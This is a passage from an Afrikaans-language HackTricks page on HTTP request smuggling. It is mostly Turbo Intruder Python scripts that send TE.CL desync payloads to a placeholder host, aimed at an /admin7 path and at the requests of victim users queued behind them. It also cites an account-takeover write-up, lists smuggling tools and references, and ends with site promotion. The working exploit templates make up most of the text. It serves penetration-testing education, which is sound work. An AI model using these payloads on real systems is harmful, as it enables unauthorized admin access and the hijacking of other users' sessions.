Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Van: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Gereedskap

• https://github.com/anshumanpattnaik/http-request-smuggling
• https://github.com/PortSwigger/http-request-smuggler
• https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
• https://github.com/defparam/smuggler
• https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: Hierdie gereedskap is 'n grammatica-gebaseerde HTTP Fuzzer wat nuttig is om vreemde verskille in aanvraagsmokkel te vind.

Verwysings

• https://portswigger.net/web-security/request-smuggling
• https://portswigger.net/web-security/request-smuggling/finding
• https://portswigger.net/web-security/request-smuggling/exploiting
• https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
• https://github.com/haroonawanofficial/HTTP-Desync-Attack/
• https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
• https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

• As jy jou maatskappy in HackTricks wil adverteer of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
• Kry die amptelike PEASS & HackTricks swag
• Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
• Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
• Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-repos.